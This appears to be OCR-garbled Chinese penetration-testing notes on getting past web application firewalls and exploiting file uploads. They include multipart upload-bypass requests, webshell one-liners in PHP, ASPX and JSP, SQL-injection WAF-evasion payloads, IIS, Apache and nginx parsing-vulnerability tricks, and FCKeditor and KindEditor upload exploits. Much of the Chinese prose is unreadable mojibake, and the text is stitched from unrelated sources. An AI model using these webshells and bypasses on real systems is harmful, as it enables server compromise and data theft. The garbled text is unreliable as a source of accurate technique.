Content-Type: application/octet-stream

?php echo shell execif_GET['shy']);?=

tps://blog.csdn.net/qq_32393893/article/details

T

a

7~ W Content-Disposition . 4 4 & &5

WebkitFormBoundaryFADasdasdasDdasd
ispositiona: form-data; name="file"; filename='abc.jpg’
m-data; name="file"; filename=abc.php'

application/octet

<?php phpinfo(); ?>

R WebkitFormBoundaryFADasdasdasDdasd




EmultipartihiX @, — 32 _EERTEE Z N Content-Disposition, J§LA&/E—7Content-
Dispositionfdfilenamef{BE R _EERER ., FZWAFEEITEIZE— Content-DispositionFfi IA A X
fEtrSEEE, RELENXGR, NMSHHSEE. E, NERFOWAFBHEIIXGEE"
sp.pho”, {BEPHPEEHTLERZ "sp.php’, SEHEZET
[+« [2 < [l - |

Raw | Headers lgl Raw | Headers TE}

POST /upload/upload.php HTTP/1l.1 A HTTP/1.1 200 OK
Host: pass.littlebases.com P Date: Fri, 27 Mar 2015 03:23:55 GNT
Proxy-Connection: keep-alive Content-Type: text/html
Content-Length: 379 Connection: keep-alive
Cache-Control: max-age=0 Vary: Accept-Encoding
Accept: Set-Cookie: _ jsluid=7f0531cB9687¢711
text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 X-Cache: pass
Origin: http://pass.littlebases.com Content-Length: 25
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWE4) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2272.101 Safari/537.36 upload success! sp.php
Content-Type: multipart/form-data; [ 6
bounDary=--—--WebKitFormBoundaryFAcTDwV1ZsuWOnJE
Referer: http://pass.littlebases.com/upload/upfile.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.8,ja;q=0.&

oundarvFACTDEVIC suWOnJE
Content-Dispositiona : form-data; name="file"; filename="sp.pho"
Content-Disposition: form- clal:a name="file"; filename="sp.php"

neent—fype—appticatiomioctet—stream
<?php eval(§_GET['c'])?>
—————— WebKitFormBoundaryFAcTDwV1ZsuWOnJE
Content-Disposition: form-data; name="submit"
OK
—————— WebKitFormBoundaryFAcTDwV1Z2suWOnJE--
o]
|. ‘i;\l:‘.l‘,‘l ‘_I |

https://weibo.com/ttarticle/p/show?id=2309404007261092631700

X E i T Content-Dispositions& Fli A~ 51 525 77 3

boundary % it

boundaryil AR —F(Win2k3 + 1IS6.0 + ASP)

1) %ukEtE: iisZFEXtunicodelIf@EMT, f:payloadA[s%u@e6ckudeecect ], T HiR)E N2 [select]
%u00e61nd 1=1
FRBUFEE: unicodefEiisfRi 2 &t HBimultibyte, HRAFEHEEPTREHI : 2 widechar ] BEEFEHNE —NERK
. select¥ HeXt M funicode A%u0065, {HZ%u0RTORIFESH M Ne skueofolect
iis+asp

2) %#5tE: union selec%t user fr%om dd #iis+asp asp+iisHiE FT&ZMKHEES, W: payloadN[sele%ct], fEHTHIRENE[sel
ect]

3) asp/asp.netfEfEHTiERIAT%, fiFContent-Type: application/x-www-form-urlencodedfI##EIR3 i select%201%20From%2
Quser

asp/asp.net requestfi#ir:
4) fEaspflasp.netHIREH F HIIRAS H—MfEHrequesttl, HfFEHrequest(“id’ ) MEAIRIEKRE, SHIGET, POST/AEHITE
L, EEnm] LA —AME R, METHODANGET, fHREHIEHHPOSTHINAMPOSTM content-type, #—FhEfE 7 B 2K E A postHiE
L iimethod URGET, 1R Frequest ( “id? ) 5 RIKEUEIE, T123KE B post I A%




php+apachel % ff] boundary:

phpfEf#tfrmultipart datalIiHEA B SR, X FboundaryfIiRS], RETESHIHEKINE, kA% E Kboundaryh—-
aaaa, 123456, phpf@i e & R R T —aaaa, /5 1H H A BEAE RH . SR HAb K IOWAFEMET %, 75 7] BEZREUA) 2
BAERE, WA RS HIBYPASS

Content-Type: multipart/form-data; boundary=
Content-Length: 191

Content-Disposition: form-data; name="img"; filename="img.gif"

GIF89a

Content-Disposition: form-data; name="id"

' union select null,null,flag,null from flag limit 1 offset 1-- -

W 7% method(header:k 1)

K Lapache [RAFEMGETIE R K%, Fikmethod MTEXISEUHGETH A A . WiFKIKmethod# ADOTA, KRZIREIGET
TIERE, B A MERBRGETIEAREME, EMEAHTIIE, EnRwalM % ZBGET T ERE, NBAZUEMAANE

SHE:

https://xz.aliyun.com/t/2418

XraBERGT



3.3.1 iR A IE B - SR B RS (

Emultipartil/d, — P LERZEEZ N Content-Disposition, ELA&E—1Content-Dispositionfd
filenamefEE RN LENSXHR . FZWAFEITEIZE— 1 Content-DispositionFiA RN EBTE, FELEN
XHE, NTTSBESE. ME, INERRMAWAFEITSIIXERZR" "sp.pho”, {BEPHPETERE "sp.php”, &
Eﬁwﬁdml_o

Go ance < |v

Raw | Headers Hex Raw Headers Hex

POST /upload/upload.php HTTP/1l.1 HTTP/1.1 200 OK

Host: pass.littlebases.com Date: Fri, 27 Mar 2015 03:23:55 GMT
Pro: Connection: keep-alive Content-Type
Content-Length: 379 Connection:
Cache-Control: max-age=0 Vary: Accept- Enc ding

Accept: _ 381luid=7£0531cB89€87¢c711
text/html, application/xhtml+xml, application/xml;cq=0.9, image/webp, */*;¢=0.8 L -
Origin: http://pass.littlebases.com Content-Length: 25
User-Agent: Mozilla/5.0 (Windows NT £.l; WOWE4) AppleWebKit/537.3€ (KHTHL,
like Gecko) Chrome/41.0.2272.101 Safari/537.3€ upload success! sp.php
Content-Type: multipart/form-data; 6

bounDary=---- VebKitFormBoundaryFAcTDwWV1ZsuWOnJE
Referer: http://pass.littlebases.com/upload/upfile.html
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh:;q=0.8,ja:q=0.€

L

) nJE
Content— Dlspletluna : form-data; name="file"; filename="sp.pho"
Content-Disposition: form-data; name="file"; filename="sp.php"

ntent—Fyper—appitoatiom et—Streo

<?php eval(§_GET['c'])?>
—————— WebKitFormBoundaryFAcTDwV1ZsuWOnJE
Content-Disposition: form-data; name="submit"

—————— WebKitFormBoundaryFAcTDwWV1ZsuWOnJE--

i A4l
)
CACL
£l /LUJ

h

|?NTJI+_J (_>J Type & search term DmﬂtLAné I({g n QJ'IJ/: /L-:,Z{JJ:

k_‘.'l

3.3.2 XA ERR-XGEREBE (Z)

£—"Content-Disposition 1, FEZMfilename , WMIXBITRZERRENfilenameEERN 4R, W
RWAFEITRfilename="p3.txt" AN BT EI R, SREFR, BERESET. BENERESRBNINOXHE
=t3.jsp.

Content-Disposition: form-data;name="myfile"; filename="p3.txt";filename="t3.jsp"

SH I H:

https://xz.aliyun.com/t/15

pa Ak

Content-Disposition: form-data; name=img"; filename="img.ph

o

g B L

HAFIBF]" name=" myfile";"is, I\ A BT 2 filename. T & i 25 8% 4k S R AT B 1 S 4 R t3jsp, R BIWAF # 52t



content-Disposition: form-data; name="myfile";; filename="t3. jsp"

HAohR A g5t

T HE—RFEEE H, BABRTMATXSS. SQUIEA. r2HiTERR
¥ 5

PHP

?%20value=payload

ASP

?%value=payload

?%}9value=payload

S Hda

?id=111111111111111111111  (KIRBK) and 1=1

?id=1111111111 union  %23xxxxxxxxxxxxx ({BEKIBEK) xxxx%0d select %

SH M
http://example.com/file%00.txt

HPP HTTP= #i5 Je /8t e 5t
(BAMysql A1)

?id=123+union+select+1,2,3+from+table

?id=123+union+select+1&id=2,3+from+table

?id=123+union+select/*&id=*/user&id=pass/*&id=*/from/*&id=*/users id=select/*,*/



BRI S SRR RE

[ Technology /HTTP back-end 1 Overall Parsing Result . Example
} ASP.NET/1IS all occurrences of the specific parameter : E
;J—‘ ASP/1IS all occurrences of the specific parameter
; PHR/apache Last ococurrence
| PHP/ Zeus i Sl : Last occurrence |
?)‘ ISP, Serviet/apache Tomcat First occurrence r
i JSP,Serylet/Oracle apphcation Seryer 109 First occurrence I
;)_K ISP, Serviet/Jetty First occurrence
IBM Lotus Domino Last occurrance
1BM HTTP Server First occurrence
mod_perl,libapreq2/apache First occurrence
perl CGI/apache First occurrence
mod_perl,lib??7/Apache Becomes an array |
[ mod_wsai (Python)/apache First occurrence
Python/Zope Becomes an array I
IceWarp Last occurrence
AXIS 2400 all occurrences of the specific parameter
Linksys Wireless-G PTZ Internet Camera Last accurrence
Ricoh Aficio 1022 Printer 4 First occurrence i
webcamAP PRO First occurrence i
L DBMan All occurrences of the specific parameter | pari=valie«~ ‘.-'ali}#___ 3

HPF HTTPZ i 5eit

RMITERHTIP A EEN, FICRLFAMELZ AL (M #7477 %0a. %0d5EHAT H#AT)
251

/?a=1+union/&b=/select+1,pass/&c=/from+users-

select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—

FZ2LEEMAANRG, RAMHPPEGE — N aBIRE, ARZEETSHEA—H, KEREARAKNSHZE#THE, 27T HEE
PFESAT B B& R ER

SHE:

https://zhuanlan.zhihu.com/p/79356937

BJERREL G
B i R 51

?path=/path/././././blah/blah/blah/../../../vuln.php

/path: /vuln. php?value=PAYLOAD

/path/;lol=10l1/vuln. php?value=PAYLOAD
/path/vuln.php/lolol?value=PAYLOAD
/path/vuln.php;lol=10l?value=PAYLOAD

miggeit



URL Encode - %27

Double URL Encode - %2527

UTF-8 (2 byte) - %c@%a7

UTF-8 (JAVA) - \ uc@a?

HTML Entity - &apos;

HTML Entity Number - &#27;

Decimal - $#39

Unicode URL Encoding - %u@@27

Base64 - Jw==

iistasp(x)

%ou it -

iisZ FEXtunicode fIf##T, @: payloadHy s%u006c%u0006ect, fEMTH K52 select

K %uiitE: unicode Eiisf# T < JE 2 Hefimultibyte, (HRFEHKISEPAREI: L Mwidecharm] BEE N F —NFHF

in: selecH Kiext B fjunicode N %u0065, 1H 52 %u00f0 [E)RE £ 4k i e i e

s%u@B65lect->select sku@OfOlect->select

WAF 2 7T B B8 iR s %u0065lectii =, ERAMRE W EIRHIA T s%u00f0lectI R . XFERAT LARI AL R MWAF i Seit
HILEA k82 (uniontselect+from) BIMIR B M.

skuev45lect = sku@B65lect = %udOfOlect
u --> %u@es5 --> %uee75

n -->%u@dde --> %udobe

i -->%u0049 %U0069

0 -->%uee4df %u@e6f -->%udlba

S -->%u0053 %u0073

1 -->%u04c %uBv6C

e -->%u0045 %U0065 - - >%u00fo

C -->%u0043 %u0063

t -->%u@054 -->%ule74 -->%ullde -->%uddfe
f -->%u0046 -->%ud066

r -->%u@052 -->%uee72

-->%u004d -->%ueo6d

aspl/asp.netfii 7 i& K

asplasp.net?EfEHTiE K%, o Content-Type: application/x-www-form-urlencoded i) ¥ $2 35 77 2,
select%201%20rom%20user

KNG ZA(AEWAF, T 855t )

?id=<sCripT>AleRt(123)</scRIpt>

?id=123 uni@n SeLEcT BaNneR FroM v$vERsIon whERe ROwNUm=1



AR RE GEWAF, {[Udisd)
BAES

?id=1+un/**/ion+sel/**/ect+1,2,3--

Bt Xt o 1) o3 AT Be A

Get /test HTTP/1.1 > GET test,randkey.yourloggingdomain.com

Get /test HTTP/1.1 > GET http://test.randkey.yourloggingdomain.com

Get /test HTTP/1.1 > GET @test.randkey.yourloggingdomain.com

R PHE)E:
host.test.randkey.yourloggingdomain.com

SHENE:

https://www.owasp.org/index.php/SQL_Injection_Bypassing WAF

https://mp.weixin.qq.com/s/eljy-DFOSROmSvvzX_Ge5g
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BENR SR BES web B FIEHE, NERZSHRKSHELHRLSsMEZ FEERKE CGEIIETERMERFLE) W
B —burp$l 2 i), requestitipostit) & 4, 1R8] &7 LLE Flpassword S ¥ M8 £ £33 B s in s 2 5 Bk T Hn, BIXME
19,3 0 A, ) SR B A AR X SRR R T o B T IX B O, 31X 3 4 A I b T AT Bt i 2 AR

Request

J RawT Params T Headers T Hex ]

POST mswy w=mwmm HTTP/1.1

Host: = = - =

User-Agent: ™Muw...a/5.0 (Macintosh; Intel Mac 0S8 X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0

Accept: text/html,application/xhtml+zml,application/xml;qg=0.9,%/%;q=0.8

Accept-Language: zh-CN,zh;g=0.8,en-05;g=0.5,en;g=0.3

Accept-Encoding: ovip, deflate, br

Referer: https:// = L] ‘login

Cookie: WT_FPC=id=281bfaatrdb...5513£11479968939988:1v=1486656905496:55=1486656905496; CmLocation=290|290; CmProvid=sn;
SWSS0_JSESSIONID=bHUjgBlRJI107gL3axLvHNQ6BniHokeV5BesH69hACGXBHDK-sY0C!1-1422190054; BIGipServerqdsso=125666058.4647.0000
Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 408

userName=18912345678&apassword=80abf3540de5lae773%cc2afalldecdabc954£835ec719d896cd067cal3c2765f07b8dbebf27fal19d99a678c842fadl7bc63058al3¢c3
8672624147fddeb0£f9eb386920£1510 822¢f203999¢68f10fdad99bab6b28abe57d622d3f12bec2cd632a~6~Ff61318cd81144a1265769¢627h4866a93¢808a51499
bf6ab0056337&verifyCode=yngb&0Or s=1l&loginType=l&fromUrl=uiue®2Flogin_max.jsp&tolrl=l= TR Thr e e el i o m L

SHELE: RAED UL T U T5iE

https://www.freebuf.com/articles/web/127888.html

ok LA T7VE DB RTIR T

1) BRRAmsnE, RBERMNBRERE, RIENRS S, SRREH, BERRNNESHEARSSNE &, RIOH
TFEERSHIGETE, XEESETAMER T gz

2) FHselenium webdriver&E e &M A TN, FHRETLIEE N, FEFREEHDERAN D, XM HELLBR TR



3) XM FEEEHSWEMFY, BAEMKsEIERTEEE, REAMFELEE R LOESEIMtRnELR, Fac
FAELK, BF LRI KT i #Eburp X BRI AT

4) ATAEN, BRI, co1ZENT HEEE, 57T —Kburpidfh, https://github.com/conyl/jsENcrypter , %A
jsEncrypter, ¥R, 3HEE T —F, AFEMGFEEEE

XEE RN AT

1) BHHRE %% maven, mac T E# brew install maven
TRE:

https: //www runoob Com/maven/maven -setup.html

BRI =M R A ZRITIE

1) Z¥tFmaven)s, EjsEncrypter git clone[El>REE T #ERMEELE, REEMKIMHFRT, ITHemdE A, R/FETmwn
package, BT DB RIFESRE, RiEGEEE H—Margets Uk

dayu@Kali:~/SZHl/test/jsEncrypter-master 162x53

mvn package

REAERTET . FHNEEXE. ..

https://fucker-shamo.github.io/2019/08/04 /%t M js &l ¥4 IN % 5eid /

rh ) 52 B0 248 B P — 6 ) R«
ZAphantomJSHIELES % hitps://blog.csdn.net/xc_zhou/article/details/80700640

SHHERE:



http://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/
https://www.freebuf.com/articles/web/184455.html
https://bbs.ichungiu.com/thread-42457-1-3.html

http://gv7.me/articles/2017/jsEncrypter/
https://www.freebuf.com/articles/web/127888.html
https://www.cnblogs.com/xiaozi/p/9158988.html

2.2.6 XMLDecoder #x%:. POC

AN AL TAS:
PREERAY.

1) java

2) array

3) class

4) object

5) void

6) new

7) field

8) method

9) property

10) byte

1) HARBHERE

XML EE AR B VE
XML fej #.7 F

TR E
https://xz.aliyun.com/t/7944

X EAEHNH T XMLDecoderiB B E AR, T#E RAVTMHE T HKCVERIT L E

http://xxlegend.com/tags/XMLDecoder/ --CVE-2019-2725. Weblogic XMLDecoder RCEZ#
https://payloads.info/2020/07/01/Java%4:- k7545 -XMLDecoderElWeblogic /LA T IS 404 /

L EIEE 4 IPOC

2.2.7 phpMyAdminZ: getshell

=
illlg

TE%: X sqiBEA) 2R, EEphpmyadmings 04 &R 2 E M AMEEAFH, EIZEEHE T H R HphpMyadmin
getshello# T Z R4 E H S KA 18

phpMyAdminff] f& /i

phpMyAdmin & —ANPAPHP 5, LAWeb-Base 7 sNAEMTE M3 FHL EFIMySQLII SR FEEE T A, kB A AWebBE O E
BMySQLEE B . 18 i Web®e O A] DL A —AME 5 7 RN B R SQLIBE B RS, RHELEREREICARICHE
NHE. HAp—AEREPHET B FphpMyAdminR H A PHPFE R —FE7E W TR 5588 L30T, (B2 4T DAZEATAa] Hh 7 i F ix
BAAERHTMLAE, W TEmEEMySQLEEEE, 7R Bk, WEREEEERFERR. el HphpMyAdming
SCH FRIphpiEiE, 5@ % 5 W A BT % 2 1 sqiB ik IEf .

TR



https://xz.aliyun.com/t/3283
https://my.oschina.net/u/4196756/blog/4408564 - - {5 L& H IR

https://zhuanlan.zhihu.com/p/25957366
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headerZfo
payload&B 4y
signaturegf o
TeretokenE A%
MEBRE
ENEBRE
IBEARSAINE R EAHMAC
YR BE 2 £H
EELKIDS ]
R HF1%2EX
SQLEA

wREN
BIIKU/XEUSER
Hfth AR

Sy

T E:
https://xz.aliyun.com/t/6776
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s 6.0 test.asp;.jpg « /test.asp/test.jpg
S 0 test.jpg/.php
s 15 a.aspx.a;.a.aspx.jpg..Jjpg

.50 BT
NgInX  (.7<=0.765. ffile.jpg%00.php
0.8<=0.8.37

ot 35 24]

| F4% . htaccess AR A& S

B A cfEsk: 47 49 46 38 39 61 (gif). FF D8 FF EO 00 10 4A 46 49 46 (jpg) -~ 89 50 4E 47 (png)
HAhf#EPT#: cer. asa. php4. php3. php5. phtml. jspx

&2 (Content-type) MIME

H X EP7F filename="../backdoor. php"

%48 a3 R
H 4 a% Ueditor

controller.ashx?action=catchimage

FCKeditor

BERAE

/fckeditor/editor/dialog/fck_about.html

/fckeditor/_Whatsnew.html

ke m
B b AR bk .



FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&
CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com¥%2Ffckeditor%2
Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 MiRiEid)

ISP fiR:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

ERAGE P BEEUNFCKeditor SEFRMERRIMAIE S, BEED T LLEE (X

ERAFRMAT R . /. BR®G, SO ASLhRRuhk.

FCKeditor Htest Xfif b4&Huik

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

— IR 2 vk S A MIBR_samples HE, W LLKIRK.

FCKeditor/editor/fckeditor.html ARPL A&, WLL S A& B A 354k 3 Y AR 45 25 RO aT Bk 4% 2= ] A& S0 T .

https://cloud.tencent.com/developer/news/210677

R BB

Version 2.2 g &

Apache+linux ¥ 35 T 7E A& SCHF R A 588 | JilaodE it
Version <=2.4.2 For php

TEANEPHP AR 3 R X Media BT BAESCHRBIIER], SEA P EEEEXH! B LT RFEhtmISCH, B
actionHihik

<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"

method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>

FCKeditor X f 4% A2 T R & i 583 5 i

1R L WHE _4E B SCHEBI N shell.php.rar Bishell.php:.jpg 232 Ashell_php;.jpg iX & #HRFCK A4k,



R shell.php+Z# 5T, FidZ# RS2 Rwin REE *nix 2 72 FF ) [shell.php Fishell.php+ZE#% 22 N AR SCH R UR
kgt AR & SO RI 3R Ashell.php;(1).jog AT UAFT B — A0k, RAEM T HE —RMWE IR, WRBE =% HFMAZRH
Version 2.4.1 #il i@ id

B CurrentFolder ZH# F .../.../ SRIEANARFKI H %

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFol

derName=shell.asp

RIEEEHXMLE BT EFEMIEHAERE R

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Imag|

e&CurrentFolder=%2F

thmT DB B0 A A
JSP A

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFo

lder=%2F

Fckeditor 2.0 <=2.2

R btkasa. cer. php2. php4. inc. pwml. pht 5 &3 BEEERFRISCHEERERR $sFilePath = $sServerDir
$sFileName , T A $sExtension NG HIESHEwWIndows FE A ERIMAN R (XESSABEE)

M #Eapache T, BI’A"Apache U4 HTskBaIRIA" B AT AR A Z, 5@ H b BRI € XTYPE Z & FFile 2515k
&3 R HEF CKeditor fIARRD, R il B Bk

£ EABEHE W] B B AR A SO BARIRIF, (B9 SRR AR AT A8 T0 v BB AR T DAR) FZE SCHF 4 SR T N S BR A Mg g2, th ] LA
Fliis6 f# bR Lox.asp X K BE L& xx.asp; . pg

SH N E:

https://www.cnblogs.com/zpchcbd/p/11745119.html

KindEditor

Efwm

kindeditor/asp/upload_json.asp?dir=file

kindeditor/asp.net/upload_json.ashx?dir=file

kindeditor/jsp/upload_json.jsp?dir=file

kindeditor/php/upload_json.php?dir=file

AL BB
kindeditor<=4.1.5

curl -F"imgFile=@1.html"http://127.0.0.1/test/kindeditor/php/upload_json.php?dir=file



https://www.sinesafe.com/article/20190510/Kindeditor.html
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BEZE Ui B

SO AR AR F S B M A8 B 10— MR, BN 3R R S SRR R b B 8

Php—ﬁliﬁ:
<?php eval($ POST[666]);?> 666
Aspx—A]if:

<%@ Page Language="Jscript"%><%eval(Request.Item["111"],"unsafe");%>

Jsp—AJif:

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParame
ter("f"))).write(request.getParameter("t").getBytes());

https://my.oschina.net/u/4373914/blog/3467075

1R 55 3 1) b 4% 36 IE

1) AABRRIEE X R ARG SRR BRIWHTAEEEARHF
2) BARKIE

SE XA EAEHIE SRR, BRith 2 R A J5 A0 T LA b A%

E XA RV LA IG5

[RBITHE]

R E Ay 44 7 CABC & AT IRIR (TR 2>)

A LA Fceriki 2 Geid B R

W0 SRR A e e R O B R R N/ 5 (ASP)

RERR S5 G212 B 3R AT I F asheoR 4 i — A1

htaccess REIEH T T EArkjpgml AT I A, BARLE A A E X



3) K BKAE

(R 7%] B RNHBIEHES LEES

GL AR & /o i /g ; £ eribt L0 S ud TR by

4) XHRBKAE
B AT LASE php B SO S R S5O IE 5 B R S Y

5) X fHEHRIE
W% BIRTE, HE LA R4S SNPG. JPG. jpeg. JPEG
----------------------------- 18632704077529342871332734129

: data; name="1image"; filename="shell.php"
Content-Type: 1mage/jpeg

<?php system($ _GET['cmd']); 7>

KAAEE. .

6) jsHl Ik

JSTERT I & T O VF AL I J5 KR

[RB T ] EEAERRESERIES, RATIREREREHWpg

(32 VR 3

MR % 2% M 3IA  (IS5.x-6.x Apache Nginx 11IS7.0/7.5)
1) 1IS5.x-6.xf# ¥ ¥ H

i Fiis5.x-6. xp A I AR 55 8%, K Awindows server 2003, MuitbE i, FHRIBEA—M Nvasp; ZENTIRTH M R AEffraspC
4, YA BefENTaspx i .

H % fi# 7 (6.0)
T www.xoo.com/xx.asp/xx.jpg

JEHE: PR SS2S BRI\ 298 .asp, .asaH 3 F K SCHFER AT Biasp X1



A
TER: www.ox.com/xx.asp;.jpg

I RS BENAEN, S RHEB A, Fitxx.asp;. jpglE# @i Rasp X T .

RSO R R

IIS6.0 BRIA I AT $0AT SCHFRR T aspi A & X =7
ltest.asa

ltest.cer

ltest.cdx

BRI R

SRR P BRSO B B, B HRSERR
EAE B SRR B AT

BRSO E A, AMRE AP B VRN RS
2% kasa. asp. cer. cdx&EZHII XM L&

2) Apachef@thigiA

¥ T JR 2
Apache T ST IR 5 MG B 22 FF 46 0 W A A, 2 SR J5 8 4 AN BT IR Gl SO AT 3t B AR A2 BT . B test.php.owfurar
“owf Fl”.rar” X i Fi 5 4% = apache A A iR 5l ## 4T, apache i < #wooyun.php.owf.rarfi@ 7 Fiphp -

FFE R
Www . XXXX . XXX . com/test.php.php123

HARE R &S B0

(1) tE7E Apache i conf B A X#—4THE & AddHandler php5-script .php X i R B 442 B A4 php B CfF 4 &
test2.php.jpg £ LA php K47 .

(2) WHRALE Apache K conf B A X —1THE & AddType application/x-httpd-php .jpg BT B4 £ jpg, —HERELL phps R$AT

— AN 4 Fxoooct 2x X3 I S (1110 Index.php.fuck), Apache£: Mx3HIAL B AEx1HIAL B T 2 R8T, tEX3ARE T Apachefit
fEMTHIY B4, I 4 ApacheZREMIT<2MIME, XHE—EHEMER, BB —ARMENTNT BLNIE

WampServer2.0Al1lVersion(WampServer2.0i/Apache2 2.11)

Wamp Server2.1AllVersion(Wamp Server2.le-X32/Apache2 2.17)

Wamp5AllVersion(Wamp5 1.7.4/Apache2 2.6)

AppServ2.4A11 Version(AppServ-2.4.9/Apache2.0.59)

AppServ2.5A11Version(AppServ-2.5.10/Apache2.2.8)

AppServ2.6Al1Version(AppServ-2.6.0/Apache 2.2.8)

A SRR S ERAF LY R A AT TR, I ELIX SRR S8R A7 16 X php 33U A& B php SRABHT IXAN/INF o 27550 R4 B A &
i, REE LR

BEEFEZIRF R Apachehii 4 :




3) nginx f@ ¥ ¥E M
¥ A JE

Nginx2RiA &2 PACGIFI 5 RS2 FFPHPAEMT I, 338 A3 2 2ENqinxBt B SC 4 3@ IE N IL AR % B SCRIPT_FILENAME, 41ij5 14
www.xx.com/phpinfo.jpg/1.phpiX~NURLEY, $fastcgi.script_name &4 % B~ "phpinfo.jpg/1.php”, 4R JE 13 AR
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fix_pathinfoilX A& T

WRFFE T EAED, BAehlREPHP W T 24E:
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www . XxxxXx .com/UploadFiles/image/1.jpg/1.php
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function check()

{

var filename = document.getElementById("file");

var str = filename.value.split(".");
var ext = str[str.length-1];
if(ext=="jpg'||ext=="png'||ext=="jpeg'||ext=="gif")
{

return true;

¥

else

{
alert("fXfeiF Efkpng/jpeg/gi fRBMIA! )
return false;

}

return false;
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